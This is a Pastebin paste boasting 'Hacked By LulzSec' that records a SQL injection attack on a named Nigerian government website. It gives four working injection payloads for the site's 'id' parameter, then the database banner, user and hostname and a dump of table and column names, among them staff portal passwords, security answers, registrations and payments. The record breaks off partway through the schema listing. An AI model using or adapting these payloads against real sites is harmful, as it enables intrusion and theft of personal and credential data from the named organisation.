Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- .88888888:. .88888888:.
- 88888888.88888. 88888888.88888.
- .8888888888888888. Hacked By LulzSec: .8888888888888888.
- 888888888888888888 888888888888888888
- 88' _`88'_ `88888 88' _`88'_ `88888
- 88 88 88 88 88888 88 88 88 88 88888
- 88_88_::_88_:88888 Sensei, Marvin, Cixus, Tigre, Ace, Gakusei 88_88_::_88_:88888
- 88:::,::,:::::8888 88:::,::,:::::8888
- 88`:::::::::'`8888 88`:::::::::'`8888
- .88 `::::' 8:88. .88 `::::' 8:88.
- 8888 `8:888. 8888 `8:888.
- .8888' `888888. .8888' `888888.
- .8888:.. .::. ...:'8888888:. .8888:.. .::. ...:'8888888:.
- .8888.' :' `'::`88:88888 Penguins who waddle together... .8888.' :' `'::`88:88888
- .8888 ' `.888:8888. .8888 ' `.888:8888.
- 888:8 . 888:88888 888:8 . 888:88888
- .888:88 .: 888:88888: Will survive and thrive together... .888:88 .: 888:88888:
- 8888888. :: 88:888888 8888888. :: 88:888888
- `.::.888. :: .88888888 `.::.888. :: .88888888
- .::::::.888. :: :::`8888'.:. .::::::.888. :: :::`8888'.:.
- ::::::::::.888 ' .:::::::::::: ::::::::::.888 ' .::::::::::::
- ::::::::::::.8 ' .:8::::::::::::. ::::::::::::.8 ' .:8::::::::::::.
- .::::::::::::::. .:888::::::::::::: .::::::::::::::. .:888:::::::::::::
- :::::::::::::::88:.__..:88888:::::::::::' :::::::::::::::88:.__..:88888:::::::::::'
- `'.:::::::::::88888888888.88:::::::::' `'.:::::::::::88888888888.88:::::::::'
- `':::_:' -- '' -'-' `':_::::'` `':::_:' -- '' -'-' `':_::::'`
- ________________________________________________________________________________________________________________________
- www.emdi.gov.ng
- Parameter: id (GET)
- Type: boolean-based blind
- Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
- Payload: id=104' RLIKE (SELECT (CASE WHEN (5905=5905) THEN 104 ELSE 0x28 END))-- IOXU
- Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
- Payload: id=104' AND (SELECT 7358 FROM(SELECT COUNT(*),CONCAT(0x7162707671,(SELECT (ELT(7358=7358,1))),0x716a707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- mHlM
- Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 OR time-based blind
- Payload: id=104' OR SLEEP(5)-- GwIT
- Vector: OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
- Type: UNION query
- Title: Generic UNION query (NULL) - 5 columns
- Payload: id=-2483' UNION ALL SELECT NULL,NULL,CONCAT(0x7162707671,0x6a48784e516f506f62457672704b6776795670554447716955675342516f79557175416a78727176,0x716a707a71),NULL,NULL-- iRVL
- Vector: UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL[GENERIC_SQL_COMMENT]
- ---
- web application technology: Apache
- back-end DBMS: MySQL >= 5.0
- banner: '10.0.33-MariaDB'
- current user: 'ng1di1go_9ja4lif@localhost'
- current database: 'ng1di1go_emdiweb'
- hostname: 'mint1.noc401.com'
- current user is DBA: False
- database management system users [1]:
- [*] 'ng1di1go_9ja4lif'@'localhost'
- database management system users privileges:
- [*] 'ng1di1go_9ja4lif'@'localhost' [1]:
- privilege: USAGE
- database management system users roles:
- [*] 'ng1di1go_9ja4lif'@'localhost' [1]:
- role: USAGE
- Database: ng1di1go_emdiweb
- [24 tables]
- +---------------------------------------+
- | contacts |
- | departmentfunctions |
- | departmentlist |
- | departmentunits |
- | division |
- | e_library_category |
- | e_library_resources |
- | email_system |
- | forum_contribution |
- | forum_topics |
- | hod_profile |
- | news |
- | newsletter |
- | payment |
- | products |
- | registration |
- | reminder |
- | request_product_info |
- | research_activities |
- | research_interest |
- | services |
- | staffportal_users |
- | subservices |
- | upcoming_events |
- +---------------------------------------+
- Database: information_schema
- [70 tables]
- +---------------------------------------+
- | ALL_PLUGINS |
- | APPLICABLE_ROLES |
- | CHARACTER_SETS |
- | CLIENT_STATISTICS |
- | COLLATIONS |
- | COLLATION_CHARACTER_SET_APPLICABILITY |
- | COLUMNS |
- | COLUMN_PRIVILEGES |
- | ENABLED_ROLES |
- | ENGINES |
- | EVENTS |
- | FILES |
- | GLOBAL_STATUS |
- | GLOBAL_VARIABLES |
- | INDEX_STATISTICS |
- | INNODB_BUFFER_PAGE |
- | INNODB_BUFFER_PAGE_LRU |
- | INNODB_BUFFER_POOL_STATS |
- | INNODB_CHANGED_PAGES |
- | INNODB_CMP |
- | INNODB_CMPMEM |
- | INNODB_CMPMEM_RESET |
- | INNODB_CMP_PER_INDEX |
- | INNODB_CMP_PER_INDEX_RESET |
- | INNODB_CMP_RESET |
- | INNODB_FT_BEING_DELETED |
- | INNODB_FT_CONFIG |
- | INNODB_FT_DEFAULT_STOPWORD |
- | INNODB_FT_DELETED |
- | INNODB_FT_INDEX_CACHE |
- | INNODB_FT_INDEX_TABLE |
- | INNODB_LOCKS |
- | INNODB_LOCK_WAITS |
- | INNODB_METRICS |
- | INNODB_SYS_COLUMNS |
- | INNODB_SYS_DATAFILES |
- | INNODB_SYS_FIELDS |
- | INNODB_SYS_FOREIGN |
- | INNODB_SYS_FOREIGN_COLS |
- | INNODB_SYS_INDEXES |
- | INNODB_SYS_TABLES |
- | INNODB_SYS_TABLESPACES |
- | INNODB_SYS_TABLESTATS |
- | INNODB_TRX |
- | KEY_CACHES |
- | KEY_COLUMN_USAGE |
- | PARAMETERS |
- | PARTITIONS |
- | PLUGINS |
- | PROCESSLIST |
- | PROFILING |
- | REFERENTIAL_CONSTRAINTS |
- | ROUTINES |
- | SCHEMATA |
- | SCHEMA_PRIVILEGES |
- | SESSION_STATUS |
- | SESSION_VARIABLES |
- | STATISTICS |
- | TABLES |
- | TABLESPACES |
- | TABLE_CONSTRAINTS |
- | TABLE_PRIVILEGES |
- | TABLE_STATISTICS |
- | TRIGGERS |
- | USER_PRIVILEGES |
- | USER_STATISTICS |
- | VIEWS |
- | XTRADB_INTERNAL_HASH_TABLES |
- | XTRADB_READ_VIEW |
- | XTRADB_RSEG |
- +---------------------------------------+
- Database: ng1di1go_emdiweb
- Table: departmentlist
- [8 columns]
- +-------------+--------------+
- | Column | Type |
- +-------------+--------------+
- | description | text |
- | designation | varchar(120) |
- | division_id | varchar(3) |
- | hod | varchar(120) |
- | hod_id | varchar(3) |
- | id | varchar(3) |
- | name | varchar(100) |
- | s_num | int(11) |
- +-------------+--------------+
- Database: ng1di1go_emdiweb
- Table: e_library_category
- [3 columns]
- +-------------+--------------+
- | Column | Type |
- +-------------+--------------+
- | category | varchar(150) |
- | description | text |
- | id | varchar(3) |
- +-------------+--------------+
- Database: ng1di1go_emdiweb
- Table: subservices
- [2 columns]
- +-------------+--------------+
- | Column | Type |
- +-------------+--------------+
- | service_id | varchar(3) |
- | sub_service | varchar(200) |
- +-------------+--------------+
- Database: ng1di1go_emdiweb
- Table: registration
- [13 columns]
- +-----------------+--------------+
- | Column | Type |
- +-----------------+--------------+
- | ContactAddress | text |
- | Email | varchar(40) |
- | FirstName | varchar(20) |
- | InstitutionName | text |
- | Laptop | varchar(3) |
- | LastName | varchar(20) |
- | MiddleName | varchar(20) |
- | PhoneNumber | varchar(11) |
- | Profession | varchar(100) |
- | Qualification | varchar(40) |
- | Ref_Number | varchar(5) |
- | Sponsor | varchar(100) |
- | SponsorAddress | text |
- +-----------------+--------------+
- Database: ng1di1go_emdiweb
- Table: newsletter
- [1 column]
- +--------+--------------+
- | Column | Type |
- +--------+--------------+
- | email | varchar(120) |
- +--------+--------------+
- Database: ng1di1go_emdiweb
- Table: contacts
- [2 columns]
- +---------------+--------------+
- | Column | Type |
- +---------------+--------------+
- | contact_title | varchar(120) |
- | details | text |
- +---------------+--------------+
- Database: ng1di1go_emdiweb
- Table: forum_topics
- [5 columns]
- +-----------+-------------+
- | Column | Type |
- +-----------+-------------+
- | date | date |
- | time | time |
- | id | int(4) |
- | posted_by | varchar(50) |
- | topic | text |
- +-----------+-------------+
- Database: ng1di1go_emdiweb
- Table: hod_profile
- [9 columns]
- +---------------+--------------+
- | Column | Type |
- +---------------+--------------+
- | department | varchar(120) |
- | designation | varchar(120) |
- | email | varchar(100) |
- | hod_id | int(3) |
- | membership | text |
- | name | varchar(120) |
- | photograph | varchar(80) |
- | qualification | text |
- | Telephone | varchar(14) |
- +---------------+--------------+
- Database: ng1di1go_emdiweb
- Table: staffportal_users
- [14 columns]
- +-------------------+--------------+
- | Column | Type |
- +-------------------+--------------+
- | alternative_email | varchar(70) |
- | conraiss | varchar(2) |
- | date_of_birth | date |
- | department | varchar(100) |
- | designation | varchar(50) |
- | middlename | varchar(40) |
- | othername | varchar(40) |
- | password | varchar(20) |
- | security_answer | varchar(150) |
- | security_question | varchar(150) |
- | staff_id | varchar(11) |
- | surname | varchar(40) |
- | username | varchar(20) |
- | webmail_address | varchar(40) |
- +-------------------+--------------+
- Database: ng1di1go_emdiweb
- Table: reminder
- [3 columns]
- +-------------+------------+
- | Column | Type |
- +-------------+------------+
- | description | text |
- | id | varchar(3) |
- | reminder | text |
- +-------------+------------+
- Database: ng1di1go_emdiweb
- Table: departmentunits
- [4 columns]
- +-------------+------------+
- | Column | Type |
- +-------------+------------+
- | dept_id | varchar(3) |
- | description | text |
- | name | text |
- | unit_id | varchar(3) |
- +-------------+------------+
- Database: ng1di1go_emdiweb
- Table: division
- [2 columns]
- +--------+-------------+
- | Column | Type |
- +--------+-------------+
- | id | varchar(3) |
- | name | varchar(50) |
- +--------+-------------+
- Database: ng1di1go_emdiweb
- Table: research_activities
- [4 columns]
- +---------------+------------+
- | Column | Type |
- +---------------+------------+
- | description | text |
- | facilities | text |
- | id | varchar(3) |
- | Research_Area | text |
- +---------------+------------+
- Database: ng1di1go_emdiweb
- Table: research_interest
- [2 columns]
- +------------------+--------------+
- | Column | Type |
- +------------------+--------------+
- | interest | varchar(200) |
- | Research_Area_id | varchar(3) |
- +------------------+--------------+
- Database: ng1di1go_emdiweb
- Table: e_library_resources
- [5 columns]
- +----------------+--------------+
- | Column | Type |
- +----------------+--------------+
- | cat_id | varchar(3) |
- | id | varchar(3) |
- | resources_desc | text |
- | resources_name | text |
- | url | varchar(200) |
- +----------------+--------------+
- Database: ng1di1go_emdiweb
- Table: forum_contribution
- [5 columns]
- +-------------------+-------------+
- | Column | Type |
- +-------------------+-------------+
- | contributed_by | varchar(50) |
- | contribution | text |
- | contribution_date | date |
- | contribution_time | time |
- | topic_id | int(11) |
- +-------------------+-------------+
- Database: ng1di1go_emdiweb
- Table: services
- [3 columns]
- +-------------+--------------+
- | Column | Type |
- +-------------+--------------+
- | description | text |
- | id | varchar(3) |
- | service | varchar(120) |
- +-------------+--------------+
- Database: ng1di1go_emdiweb
- Table: news
- [5 columns]
- +--------------+--------------+
- | Column | Type |
- +--------------+--------------+
- | announcement | text |
- | description | text |
- | id | varchar(3) |
- | post_date | date |
- | url | varchar(120) |
- +--------------+--------------+
- Database: ng1di1go_emdiweb
- Table: payment
- [8 columns]
- +---------------+-------------+
- | Column | Type |
- +---------------+-------------+
- | Amount | float |
- | BankBranch | varchar(70) |
- | Comment | text |
- | PaymentDate | varchar(20) |
- | PaymentMethod | varchar(30) |
- | PaymentNumber | varchar(20) |
- | PaymentStatus | varchar(30) |
- | Ref_Number | varchar(10) |
- +---------------+-------------+
- Database: ng1di1go_emdiweb
- Table: upcoming_events
- [7 columns]
- +--------------+--------------+
- | Column | Type |
- +--------------+--------------+
- | date | varchar(20) |
- | time | varchar(20) |
- | contact_info | text |
- | description | text |
- | event | text |
- | id | varchar(3) |
- | venue | varchar(150) |
- +--------------+--------------+
- Database: ng1di1go_emdiweb
- Table: request_product_info
- [5 columns]
- +---------------+--------------+
- | Column | Type |
- +---------------+--------------+
- | email_address | varchar(150) |
- | full_name | varchar(150) |
- | phone_number | varchar(20) |
- | product_name | varchar(150) |
- | request | text |
- +---------------+--------------+
- Database: ng1di1go_emdiweb
- Table: products
- [6 columns]
- +---------------+--------------+
- | Column | Type |
- +---------------+--------------+
- | cycle_time | varchar(100) |
- | description | text |
- | id | varchar(3) |
- | image | varchar(250) |
- | name | varchar(200) |
- | specification | text |
- +---------------+--------------+
- Database: ng1di1go_emdiweb
- Table: email_system
- [11 columns]
- +-----------+--------------+
- | Column | Type |
- +-----------+--------------+
- | cc | varchar(120) |
- | content | mediumblob |
- | file_name | varchar(120) |
- | file_size | int(11) |
- | file_type | varchar(120) |
- | id | int(11) |
- | message | text |
- | send_to | varchar(50) |
- | sender | varchar(50) |
- | sent_date | varchar(20) |
- | subject | varchar(150) |
- +-----------+--------------+
- Database: ng1di1go_emdiweb
- Table: departmentfunctions
- [3 columns]
- +----------+--------------+
- | Column | Type |
- +----------+--------------+
- | function | varchar(120) |
- | dept_id | varchar(3) |
- | id | varchar(3) |
- +----------+--------------+
- Database: information_schema
- Table: TABLESPACES
- [9 columns]
- +--------------------+---------------------+
- | Column | Type |
- +--------------------+---------------------+
- | AUTOEXTEND_SIZE | bigint(21) unsigned |
- | ENGINE | varchar(64) |
- | EXTENT_SIZE | bigint(21) unsigned |
- | LOGFILE_GROUP_NAME | varchar(64) |
- | MAXIMUM_SIZE | bigint(21) unsigned |
- | NODEGROUP_ID | bigint(21) unsigned |
- | TABLESPACE_COMMENT | varchar(2048) |
- | TABLESPACE_NAME | varchar(64) |
- | TABLESPACE_TYPE | varchar(64) |
- +--------------------+---------------------+
- Database: information_schema
- Table: ROUTINES
- [31 columns]
- +--------------------------+---------------------+
- | Column | Type |
- +--------------------------+---------------------+
- | CHARACTER_MAXIMUM_LENGTH | int(21) |
- | CHARACTER_OCTET_LENGTH | int(21) |
- | CHARACTER_SET_CLIENT | varchar(32) |
- | CHARACTER_SET_NAME | varchar(64) |
- | COLLATION_CONNECTION | varchar(32) |
- | COLLATION_NAME | varchar(64) |
- | CREATED | datetime |
- | DATA_TYPE | varchar(64) |
- | DATABASE_COLLATION | varchar(32) |
- | DATETIME_PRECISION | bigint(21) unsigned |
- | DEFINER | varchar(189) |
- | DTD_IDENTIFIER | longtext |
- | EXTERNAL_LANGUAGE | varchar(64) |
- | EXTERNAL_NAME | varchar(64) |
- | IS_DETERMINISTIC | varchar(3) |
- | LAST_ALTERED | datetime |
- | NUMERIC_PRECISION | int(21) |
- | NUMERIC_SCALE | int(21) |
- | PARAMETER_STYLE | varchar(8) |
- | ROUTINE_BODY | varchar(8) |
- | ROUTINE_CATALOG | varchar(512) |
- | ROUTINE_COMMENT | longtext |
- | ROUTINE_DEFINITION | longtext |
- | ROUTINE_NAME | varchar(64) |
- | ROUTINE_SCHEMA | varchar(64) |
- | ROUTINE_TYPE | varchar(9) |
- | SECURITY_TYPE | varchar(7) |
- | SPECIFIC_NAME | varchar(64) |
- | SQL_DATA_ACCESS | varchar(64) |
- | SQL_MODE | varchar(8192) |
- | SQL_PATH | varchar(64) |
- +--------------------------+---------------------+
- Database: information_schema
- Table: INNODB_SYS_INDEXES
- [7 columns]
- +----------+---------------------+
- | Column | Type |
- +----------+---------------------+
- | SPACE | int(11) |
- | INDEX_ID | bigint(21) unsigned |
- | N_FIELDS | int(11) |
- | NAME | varchar(193) |
- | PAGE_NO | int(11) |
- | TABLE_ID | bigint(21) unsigned |
- | TYPE | int(11) |
- +----------+---------------------+
- Database: information_schema
- Table: INNODB_LOCKS
- [10 columns]
- +-------------+---------------------+
- | Column | Type |
- +-------------+---------------------+
- | lock_data | varchar(8192) |
- | lock_id | varchar(81) |
- | lock_index | varchar(1024) |
- | lock_mode | varchar(32) |
- | lock_page | bigint(21) unsigned |
- | lock_rec | bigint(21) unsigned |
- | lock_space | bigint(21) unsigned |
- | lock_table | varchar(1024) |
- | lock_trx_id | varchar(18) |
- | lock_type | varchar(32) |
- +-------------+---------------------+
- Database: information_schema
- Table: INNODB_SYS_FOREIGN
- [5 columns]
- +----------+------------------+
- | Column | Type |
- +----------+------------------+
- | FOR_NAME | varchar(193) |
- | ID | varchar(193) |
- | N_COLS | int(11) unsigned |
- | REF_NAME | varchar(193) |
- | TYPE | int(11) unsigned |
- +----------+------------------+
- Database: information_schema
- Table: INNODB_FT_BEING_DELETED
- [1 column]
- +--------+---------------------+
- | Column | Type |
- +--------+---------------------+
- | DOC_ID | bigint(21) unsigned |
- +--------+---------------------+
- Database: information_schema
- Table: COLUMN_PRIVILEGES
- [7 columns]
- +----------------+--------------+
- | Column | Type |
- +----------------+--------------+
- | COLUMN_NAME | varchar(64) |
- | GRANTEE | varchar(190) |
- | IS_GRANTABLE | varchar(3) |
- | PRIVILEGE_TYPE | varchar(64) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +----------------+--------------+
- Database: information_schema
- Table: INNODB_CMP_PER_INDEX_RESET
- [8 columns]
- +-----------------+--------------+
- | Column | Type |
- +-----------------+--------------+
- | compress_ops | int(11) |
- | compress_ops_ok | int(11) |
- | compress_time | int(11) |
- | database_name | varchar(192) |
- | index_name | varchar(192) |
- | table_name | varchar(192) |
- | uncompress_ops | int(11) |
- | uncompress_time | int(11) |
- +-----------------+--------------+
- Database: information_schema
- Table: INNODB_METRICS
- [17 columns]
- +-----------------+--------------+
- | Column | Type |
- +-----------------+--------------+
- | COUNT | bigint(21) |
- | AVG_COUNT | double |
- | AVG_COUNT_RESET | double |
- | COMMENT | varchar(193) |
- | COUNT_RESET | bigint(21) |
- | MAX_COUNT | bigint(21) |
- | MAX_COUNT_RESET | bigint(21) |
- | MIN_COUNT | bigint(21) |
- | MIN_COUNT_RESET | bigint(21) |
- | NAME | varchar(193) |
- | STATUS | varchar(193) |
- | SUBSYSTEM | varchar(193) |
- | TIME_DISABLED | datetime |
- | TIME_ELAPSED | bigint(21) |
- | TIME_ENABLED | datetime |
- | TIME_RESET | datetime |
- | TYPE | varchar(193) |
- +-----------------+--------------+
- Database: information_schema
- Table: GLOBAL_VARIABLES
- [2 columns]
- +----------------+---------------+
- | Column | Type |
- +----------------+---------------+
- | VARIABLE_NAME | varchar(64) |
- | VARIABLE_VALUE | varchar(1024) |
- +----------------+---------------+
- Database: information_schema
- Table: INNODB_BUFFER_POOL_STATS
- [32 columns]
- +----------------------------------+---------------------+
- | Column | Type |
- +----------------------------------+---------------------+
- | DATABASE_PAGES | bigint(21) unsigned |
- | FREE_BUFFERS | bigint(21) unsigned |
- | HIT_RATE | bigint(21) unsigned |
- | LRU_IO_CURRENT | bigint(21) unsigned |
- | LRU_IO_TOTAL | bigint(21) unsigned |
- | MODIFIED_DATABASE_PAGES | bigint(21) unsigned |
- | NOT_YOUNG_MAKE_PER_THOUSAND_GETS | bigint(21) unsigned |
- | NUMBER_PAGES_CREATED | bigint(21) unsigned |
- | NUMBER_PAGES_GET | bigint(21) unsigned |
- | NUMBER_PAGES_READ | bigint(21) unsigned |
- | NUMBER_PAGES_READ_AHEAD | bigint(21) unsigned |
- | NUMBER_PAGES_WRITTEN | bigint(21) unsigned |
- | NUMBER_READ_AHEAD_EVICTED | bigint(21) unsigned |
- | OLD_DATABASE_PAGES | bigint(21) unsigned |
- | PAGES_CREATE_RATE | double |
- | PAGES_MADE_NOT_YOUNG_RATE | double |
- | PAGES_MADE_YOUNG | bigint(21) unsigned |
- | PAGES_MADE_YOUNG_RATE | double |
- | PAGES_NOT_MADE_YOUNG | bigint(21) unsigned |
- | PAGES_READ_RATE | double |
- | PAGES_WRITTEN_RATE | double |
- | PENDING_DECOMPRESS | bigint(21) unsigned |
- | PENDING_FLUSH_LIST | bigint(21) unsigned |
- | PENDING_FLUSH_LRU | bigint(21) unsigned |
- | PENDING_READS | bigint(21) unsigned |
- | POOL_ID | bigint(21) unsigned |
- | POOL_SIZE | bigint(21) unsigned |
- | READ_AHEAD_EVICTED_RATE | double |
- | READ_AHEAD_RATE | double |
- | UNCOMPRESS_CURRENT | bigint(21) unsigned |
- | UNCOMPRESS_TOTAL | bigint(21) unsigned |
- | YOUNG_MAKE_PER_THOUSAND_GETS | bigint(21) unsigned |
- +----------------------------------+---------------------+
- Database: information_schema
- Table: INNODB_SYS_FOREIGN_COLS
- [4 columns]
- +--------------+------------------+
- | Column | Type |
- +--------------+------------------+
- | FOR_COL_NAME | varchar(193) |
- | ID | varchar(193) |
- | POS | int(11) unsigned |
- | REF_COL_NAME | varchar(193) |
- +--------------+------------------+
- Database: information_schema
- Table: PARTITIONS
- [25 columns]
- +-------------------------------+---------------------+
- | Column | Type |
- +-------------------------------+---------------------+
- | AVG_ROW_LENGTH | bigint(21) unsigned |
- | CHECK_TIME | datetime |
- | CHECKSUM | bigint(21) unsigned |
- | CREATE_TIME | datetime |
- | DATA_FREE | bigint(21) unsigned |
- | DATA_LENGTH | bigint(21) unsigned |
- | INDEX_LENGTH | bigint(21) unsigned |
- | MAX_DATA_LENGTH | bigint(21) unsigned |
- | NODEGROUP | varchar(12) |
- | PARTITION_COMMENT | varchar(80) |
- | PARTITION_DESCRIPTION | longtext |
- | PARTITION_EXPRESSION | longtext |
- | PARTITION_METHOD | varchar(18) |
- | PARTITION_NAME | varchar(64) |
- | PARTITION_ORDINAL_POSITION | bigint(21) unsigned |
- | SUBPARTITION_EXPRESSION | longtext |
- | SUBPARTITION_METHOD | varchar(12) |
- | SUBPARTITION_NAME | varchar(64) |
- | SUBPARTITION_ORDINAL_POSITION | bigint(21) unsigned |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_ROWS | bigint(21) unsigned |
- | TABLE_SCHEMA | varchar(64) |
- | TABLESPACE_NAME | varchar(64) |
- | UPDATE_TIME | datetime |
- +-------------------------------+---------------------+
- Database: information_schema
- Table: INNODB_FT_INDEX_CACHE
- [6 columns]
- +--------------+---------------------+
- | Column | Type |
- +--------------+---------------------+
- | POSITION | bigint(21) unsigned |
- | DOC_COUNT | bigint(21) unsigned |
- | DOC_ID | bigint(21) unsigned |
- | FIRST_DOC_ID | bigint(21) unsigned |
- | LAST_DOC_ID | bigint(21) unsigned |
- | WORD | varchar(337) |
- +--------------+---------------------+
- Database: information_schema
- Table: INDEX_STATISTICS
- [4 columns]
- +--------------+--------------+
- | Column | Type |
- +--------------+--------------+
- | INDEX_NAME | varchar(192) |
- | ROWS_READ | bigint(21) |
- | TABLE_NAME | varchar(192) |
- | TABLE_SCHEMA | varchar(192) |
- +--------------+--------------+
- Database: information_schema
- Table: USER_PRIVILEGES
- [4 columns]
- +----------------+--------------+
- | Column | Type |
- +----------------+--------------+
- | GRANTEE | varchar(190) |
- | IS_GRANTABLE | varchar(3) |
- | PRIVILEGE_TYPE | varchar(64) |
- | TABLE_CATALOG | varchar(512) |
- +----------------+--------------+
- Database: information_schema
- Table: ENGINES
- [6 columns]
- +--------------+--------------+
- | Column | Type |
- +--------------+--------------+
- | COMMENT | varchar(160) |
- | ENGINE | varchar(64) |
- | SAVEPOINTS | varchar(3) |
- | SUPPORT | varchar(8) |
- | TRANSACTIONS | varchar(3) |
- | XA | varchar(3) |
- +--------------+--------------+
- Database: information_schema
- Table: PARAMETERS
- [16 columns]
- +--------------------------+---------------------+
- | Column | Type |
- +--------------------------+---------------------+
- | CHARACTER_MAXIMUM_LENGTH | int(21) |
- | CHARACTER_OCTET_LENGTH | int(21) |
- | CHARACTER_SET_NAME | varchar(64) |
- | COLLATION_NAME | varchar(64) |
- | DATA_TYPE | varchar(64) |
- | DATETIME_PRECISION | bigint(21) unsigned |
- | DTD_IDENTIFIER | longtext |
- | NUMERIC_PRECISION | int(21) |
- | NUMERIC_SCALE | int(21) |
- | ORDINAL_POSITION | int(21) |
- | PARAMETER_MODE | varchar(5) |
- | PARAMETER_NAME | varchar(64) |
- | ROUTINE_TYPE | varchar(9) |
- | SPECIFIC_CATALOG | varchar(512) |
- | SPECIFIC_NAME | varchar(64) |
- | SPECIFIC_SCHEMA | varchar(64) |
- +--------------------------+---------------------+
- Database: information_schema
- Table: TRIGGERS
- [22 columns]
- +----------------------------+---------------+
- | Column | Type |
- +----------------------------+---------------+
- | ACTION_CONDITION | longtext |
- | ACTION_ORDER | bigint(4) |
- | ACTION_ORIENTATION | varchar(9) |
- | ACTION_REFERENCE_NEW_ROW | varchar(3) |
- | ACTION_REFERENCE_NEW_TABLE | varchar(64) |
- | ACTION_REFERENCE_OLD_ROW | varchar(3) |
- | ACTION_REFERENCE_OLD_TABLE | varchar(64) |
- | ACTION_STATEMENT | longtext |
- | ACTION_TIMING | varchar(6) |
- | CHARACTER_SET_CLIENT | varchar(32) |
- | COLLATION_CONNECTION | varchar(32) |
- | CREATED | datetime |
- | DATABASE_COLLATION | varchar(32) |
- | DEFINER | varchar(189) |
- | EVENT_MANIPULATION | varchar(6) |
- | EVENT_OBJECT_CATALOG | varchar(512) |
- | EVENT_OBJECT_SCHEMA | varchar(64) |
- | EVENT_OBJECT_TABLE | varchar(64) |
- | SQL_MODE | varchar(8192) |
- | TRIGGER_CATALOG | varchar(512) |
- | TRIGGER_NAME | varchar(64) |
- | TRIGGER_SCHEMA | varchar(64) |
- +----------------------------+---------------+
- Database: information_schema
- Table: COLLATION_CHARACTER_SET_APPLICABILITY
- [2 columns]
- +--------------------+-------------+
- | Column | Type |
- +--------------------+-------------+
- | CHARACTER_SET_NAME | varchar(32) |
- | COLLATION_NAME | varchar(32) |
- +--------------------+-------------+
- Database: information_schema
- Table: TABLE_CONSTRAINTS
- [6 columns]
- +--------------------+--------------+
- | Column | Type |
- +--------------------+--------------+
- | CONSTRAINT_CATALOG | varchar(512) |
- | CONSTRAINT_NAME | varchar(64) |
- | CONSTRAINT_SCHEMA | varchar(64) |
- | CONSTRAINT_TYPE | varchar(64) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +--------------------+--------------+
- Database: information_schema
- Table: CHARACTER_SETS
- [4 columns]
- +----------------------+-------------+
- | Column | Type |
- +----------------------+-------------+
- | CHARACTER_SET_NAME | varchar(32) |
- | DEFAULT_COLLATE_NAME | varchar(32) |
- | DESCRIPTION | varchar(60) |
- | MAXLEN | bigint(3) |
- +----------------------+-------------+
- Database: information_schema
- Table: INNODB_SYS_COLUMNS
- [6 columns]
- +----------+---------------------+
- | Column | Type |
- +----------+---------------------+
- | LEN | int(11) |
- | MTYPE | int(11) |
- | NAME | varchar(193) |
- | POS | bigint(21) unsigned |
- | PRTYPE | int(11) |
- | TABLE_ID | bigint(21) unsigned |
- +----------+---------------------+
- Database: information_schema
- Table: XTRADB_INTERNAL_HASH_TABLES
- [4 columns]
- +--------------------------+---------------------+
- | Column | Type |
- +--------------------------+---------------------+
- | CONSTANT_MEMORY | bigint(21) unsigned |
- | INTERNAL_HASH_TABLE_NAME | varchar(100) |
- | TOTAL_MEMORY | bigint(21) unsigned |
- | VARIABLE_MEMORY | bigint(21) unsigned |
- +--------------------------+---------------------+
- Database: information_schema
- Table: INNODB_CMP_PER_INDEX
- [8 columns]
- +-----------------+--------------+
- | Column | Type |
- +-----------------+--------------+
- | compress_ops | int(11) |
- | compress_ops_ok | int(11) |
- | compress_time | int(11) |
- | database_name | varchar(192) |
- | index_name | varchar(192) |
- | table_name | varchar(192) |
- | uncompress_ops | int(11) |
- | uncompress_time | int(11) |
- +-----------------+--------------+
- Database: information_schema
- Table: INNODB_BUFFER_PAGE_LRU
- [20 columns]
- +---------------------+---------------------+
- | Column | Type |
- +---------------------+---------------------+
- | SPACE | bigint(21) unsigned |
- | ACCESS_TIME | bigint(21) unsigned |
- | COMPRESSED | varchar(3) |
- | COMPRESSED_SIZE | bigint(21) unsigned |
- | DATA_SIZE | bigint(21) unsigned |
- | FIX_COUNT | bigint(21) unsigned |
- | FLUSH_TYPE | bigint(21) unsigned |
- | FREE_PAGE_CLOCK | bigint(21) unsigned |
- | INDEX_NAME | varchar(1024) |
- | IO_FIX | varchar(64) |
- | IS_HASHED | varchar(3) |
- | IS_OLD | varchar(3) |
- | LRU_POSITION | bigint(21) unsigned |
- | NEWEST_MODIFICATION | bigint(21) unsigned |
- | NUMBER_RECORDS | bigint(21) unsigned |
- | OLDEST_MODIFICATION | bigint(21) unsigned |
- | PAGE_NUMBER | bigint(21) unsigned |
- | PAGE_TYPE | varchar(64) |
- | POOL_ID | bigint(21) unsigned |
- | TABLE_NAME | varchar(1024) |
- +---------------------+---------------------+
- Database: information_schema
- Table: SCHEMATA
- [5 columns]
- +----------------------------+--------------+
- | Column | Type |
- +----------------------------+--------------+
- | CATALOG_NAME | varchar(512) |
- | DEFAULT_CHARACTER_SET_NAME | varchar(32) |
- | DEFAULT_COLLATION_NAME | varchar(32) |
- | SCHEMA_NAME | varchar(64) |
- | SQL_PATH | varchar(512) |
- +----------------------------+--------------+
- Database: information_schema
- Table: KEY_CACHES
- [12 columns]
- +----------------+---------------------+
- | Column | Type |
- +----------------+---------------------+
- | READS | bigint(21) unsigned |
- | BLOCK_SIZE | bigint(21) unsigned |
- | DIRTY_BLOCKS | bigint(21) unsigned |
- | FULL_SIZE | bigint(21) unsigned |
- | KEY_CACHE_NAME | varchar(192) |
- | READ_REQUESTS | bigint(21) unsigned |
- | SEGMENT_NUMBER | int(3) unsigned |
- | SEGMENTS | int(3) unsigned |
